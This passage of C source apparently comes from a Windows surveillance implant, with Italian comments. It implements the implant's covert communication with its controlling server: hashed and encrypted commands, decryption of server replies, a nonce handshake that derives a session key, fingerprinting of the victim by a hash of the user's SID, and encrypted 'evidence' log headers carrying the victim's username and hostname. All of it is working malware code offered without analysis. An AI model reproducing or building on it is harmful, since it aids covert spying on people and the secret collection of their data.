	*dwOutLen = dwSize + sizeof(DWORD);
	return lpBuffer;
}

ULONG CommandHash(PRUNTIME pRuntime, __in ULONG uProtoCmd, __in LPBYTE pMessage, __in ULONG uMessageLen, __in LPBYTE pEncryptionKey, __out LPBYTE *pOutBuff)
{
	ULONG uOut, uOutClear;
	LPBYTE pBuffer, pOutBuffer;
	BYTE pSha1Digest[20];

	uOutClear = sizeof(ULONG)+uMessageLen + 20;
	uOut = uOutClear;

	if (uOut % 16)
		uOut += 16 - (uOut % 16);
	else
		uOut += 16;

	// sha1(PROTO_* + version + message)
	pBuffer = (LPBYTE)API_ALLOC(pRuntime, sizeof(ULONG) + uMessageLen);
	*(PULONG)pBuffer = uProtoCmd;
	if (pMessage)
		API_MEMCPY(pBuffer + sizeof(ULONG), pMessage, uMessageLen);
	CalculateSHA1(pRuntime, pSha1Digest, pBuffer, uMessageLen + sizeof(ULONG));

	// clear-text(cmd + message + sha1)
	pOutBuffer = (PBYTE)API_ALLOC(pRuntime, uOut);
	*(PULONG)pOutBuffer = uProtoCmd;
	if (pMessage)
		API_MEMCPY(pOutBuffer + sizeof(ULONG), pMessage, uMessageLen);
	API_MEMCPY(pOutBuffer + sizeof(ULONG)+uMessageLen, pSha1Digest, 20);

	Encrypt(pRuntime, pOutBuffer, uOutClear, pEncryptionKey, PAD_PKCS5);

	*pOutBuff = pOutBuffer;

	API_FREE(pRuntime, pBuffer);
	return uOut;
}

LPBYTE GetUserUniqueHash(PRUNTIME pRuntime)
{
	DWORD dwLen = 0;
	LPSTR pStringSid;
	HANDLE hToken = 0;
	LPBYTE lpUserHash = NULL;
	PTOKEN_USER pTokenOwner = NULL;

	if (API_OPENPROCESSTOKEN(API_GETCURRENTPROCESS(), TOKEN_QUERY | TOKEN_QUERY_SOURCE, &hToken))
	{
		API_GETTOKENINFORMATION(hToken, TokenUser, pTokenOwner, 0, &dwLen);
		if (dwLen)
			pTokenOwner = (PTOKEN_USER)API_ALLOC(pRuntime, dwLen);

		if (pTokenOwner)
		{
			if (API_GETTOKENINFORMATION(hToken, TokenUser, pTokenOwner, dwLen, &dwLen) &&
				API_CONVERTSIDTOSTRINGSIDA(pTokenOwner->User.Sid, &pStringSid))
			{
				lpUserHash = (LPBYTE)API_ALLOC(pRuntime, SHA_DIGEST_LENGTH);
				CalculateSHA1(pRuntime, lpUserHash, (LPBYTE)pStringSid, strlen(pStringSid));
				API_FREE(pRuntime, pStringSid);
			}
			API_FREE(pRuntime, pTokenOwner);
		}
		API_CLOSEHANDLE(hToken);
	}

	return lpUserHash;
}

LPBYTE DecodeMessage(PRUNTIME pRuntime, LPBYTE lpMessage, DWORD dwMessageSize, BOOL bBase64, LPDWORD dwOut)
{
	PVARIABLES_PROTOCOL pVariables = (PVARIABLES_PROTOCOL)(pRuntime->pModuleSpecificData[INDEX_PROTOCOL]->lpVariables);

	LPBYTE lpBuffer;

	if (bBase64)
		lpBuffer = base64_decode(pRuntime, (char*)lpMessage, dwMessageSize, (int *)dwOut);
	else
	{
		*dwOut = dwMessageSize;
		lpBuffer = (LPBYTE)API_ALLOC(pRuntime, dwMessageSize);
		API_MEMCPY(lpBuffer, lpMessage, dwMessageSize);
	}

	Decrypt(pRuntime, lpBuffer, *dwOut, bBase64 ? pRuntime->lpBinPatchVariables->EncryptionKeyConf.pEncryptionKeyConf: pVariables->pSessionKey  );// pConfKey: pSessionKey);

	return lpBuffer;
}

BOOL VerifyMessage(PRUNTIME pRuntime, LPBYTE lpRandNonce, LPBYTE lpHash)
{
	PVARIABLES_PROTOCOL pVariables = (PVARIABLES_PROTOCOL)(pRuntime->pModuleSpecificData[INDEX_PROTOCOL]->lpVariables);

	DWORD dwOffset = 0;
	BYTE pHashBuffer[20];
	LPBYTE lpBuffer = (LPBYTE)API_ALLOC(pRuntime, 48);

	API_MEMCPY(lpBuffer, pRuntime->lpBinPatchVariables->EncryptionKeyConf.pEncryptionKeyConf, 16);
	dwOffset += 16;
	API_MEMCPY(lpBuffer + dwOffset, lpRandNonce, 16);
	dwOffset += 16;
	API_MEMCPY(lpBuffer + dwOffset, pVariables->pCurrentRandomData, 16);
	dwOffset += 16;

	CalculateSHA1(pRuntime, pHashBuffer, lpBuffer, dwOffset);

	dwOffset = 0;
	API_MEMCPY(lpBuffer, pHashBuffer, 20);
	dwOffset += 20;
	API_MEMCPY(lpBuffer + dwOffset, lpRandNonce, 16);
	dwOffset += 16;

	CalculateSHA1(pRuntime, pHashBuffer, lpBuffer, dwOffset);

	BOOL bRet;
	if (API_MEMCMP(pHashBuffer, lpHash, 20))
		bRet = FALSE;
	else
	{
		CalculateSessionKey(pRuntime, lpRandNonce);
		bRet = TRUE;
	}

	API_FREE(pRuntime, lpBuffer);

	return bRet;
}

VOID CalculateSessionKey(PRUNTIME pRuntime, LPBYTE lpRandomNonce)
{
	PVARIABLES_PROTOCOL pVariables = (PVARIABLES_PROTOCOL)(pRuntime->pModuleSpecificData[INDEX_PROTOCOL]->lpVariables);

	LPBYTE lpBuffer = (LPBYTE)API_ALLOC(pRuntime, 48);

	API_MEMCPY(lpBuffer, pRuntime->lpBinPatchVariables->EncryptionKeyConf.pEncryptionKeyConf, 16);
	API_MEMCPY(lpBuffer + 16, lpRandomNonce, 16);
	API_MEMCPY(lpBuffer + 32, pVariables->pCurrentRandomData, 16);
	CalculateSHA1(pRuntime, pVariables->pSessionKey, lpBuffer, 48);

	API_FREE(pRuntime, lpBuffer);
}

LPBYTE GetResponse(PRUNTIME pRuntime, BOOL bBase64, LPDWORD dwOut)
{
	DWORD dwResponseLen;
	LPBYTE lpDecodedMsg = NULL;
	LPBYTE lpResponseBuffer = WinHTTPGetResponse(pRuntime, &dwResponseLen);

	if (lpResponseBuffer)
	{
		lpDecodedMsg = DecodeMessage(pRuntime, lpResponseBuffer, dwResponseLen, bBase64, dwOut);
		API_FREE(pRuntime, lpResponseBuffer);

		return lpDecodedMsg;
	}
//#ifdef _DEBUG
//	else
//	{
//		OutputDebug(L"[!!] GetResponse cannot get response from server\n");
//		//		__asm int 3;
//	}
//#endif

	return lpDecodedMsg;
}

PBYTE CreateLogHeader(PRUNTIME pRuntime, __in ULONG uEvidenceType, __in PBYTE pAdditionalData, __in ULONG uAdditionalDataLen, __out PULONG uOutLen)
{
	PSTRINGS_PROTOCOL pStrings = (PSTRINGS_PROTOCOL)(pRuntime->pModuleSpecificData[INDEX_PROTOCOL]->lpStrings);

	WCHAR wUserName[256];
	WCHAR wHostName[256];
	FILETIME uFileTime;
	LOG_HEADER pLogHeader;
	PLOG_HEADER pFinalLogHeader;

	if (uOutLen)
		*uOutLen = 0;

	API_MEMSET(wUserName, 0x0, sizeof(wUserName));
	API_MEMSET(wHostName, 0x0, sizeof(wHostName));
	wUserName[0] = L'-';
	wHostName[0] = L'-';
	API_GETENVIRONMENTVARIABLEW(pStrings->strUsername, (LPWSTR)wUserName, (sizeof(wUserName) / sizeof(WCHAR)) - 2);  //FIXME: array
	API_GETENVIRONMENTVARIABLEW(pStrings->strComputername, (LPWSTR)wHostName, (sizeof(wHostName) / sizeof(WCHAR)) - 2);  //FIXME: array
	API_GETSYSTEMTIMEASFILETIME(&uFileTime);

	pLogHeader.uDeviceIdLen = wcslen(wHostName) * sizeof(WCHAR);
	pLogHeader.uUserIdLen = wcslen(wUserName) * sizeof(WCHAR);
	pLogHeader.uSourceIdLen = 0;
	if (pAdditionalData)
		pLogHeader.uAdditionalData = uAdditionalDataLen;
	else
		pLogHeader.uAdditionalData = 0;
	pLogHeader.uVersion = LOG_VERSION;
	pLogHeader.uHTimestamp = uFileTime.dwHighDateTime;
	pLogHeader.uLTimestamp = uFileTime.dwLowDateTime;
	pLogHeader.uLogType = uEvidenceType;

	// calcola lunghezza paddata
	ULONG uHeaderLen = sizeof(LOG_HEADER)+pLogHeader.uDeviceIdLen + pLogHeader.uUserIdLen + pLogHeader.uSourceIdLen + pLogHeader.uAdditionalData;
	ULONG uPaddedHeaderLen = uHeaderLen;
	if (uPaddedHeaderLen % BLOCK_LEN)
	while (uPaddedHeaderLen % BLOCK_LEN)
		uPaddedHeaderLen++;

	pFinalLogHeader = (PLOG_HEADER)API_ALLOC(pRuntime, uPaddedHeaderLen + sizeof(ULONG));
	PBYTE pTempPtr = (PBYTE)pFinalLogHeader;

	// log size
	*(PULONG)pTempPtr = uPaddedHeaderLen;
	pTempPtr += sizeof(ULONG);

	// header
	API_MEMCPY(pTempPtr, &pLogHeader, sizeof(LOG_HEADER));
	pTempPtr += sizeof(LOG_HEADER);

	// hostname
	API_MEMCPY(pTempPtr, wHostName, pLogHeader.uDeviceIdLen);
	pTempPtr += pLogHeader.uDeviceIdLen;

	// username
	API_MEMCPY(pTempPtr, wUserName, pLogHeader.uUserIdLen);
	pTempPtr += pLogHeader.uUserIdLen;

	// additional data
	if (pAdditionalData)
		API_MEMCPY(pTempPtr, pAdditionalData, uAdditionalDataLen);

	// cifra l'header a parte la prima dword che e' in chiaro
	pTempPtr = (PBYTE)pFinalLogHeader;
	pTempPtr += sizeof(ULONG);

	Encrypt(pRuntime, pTempPtr, uHeaderLen, pRuntime->lpBinPatchVariables->EncryptionKey.pEncryptionKey, PAD_NOPAD);

	if (uOutLen)
		*uOutLen = uPaddedHeaderLen + sizeof(ULONG);

	return (PBYTE)pFinalLogHeader;
}


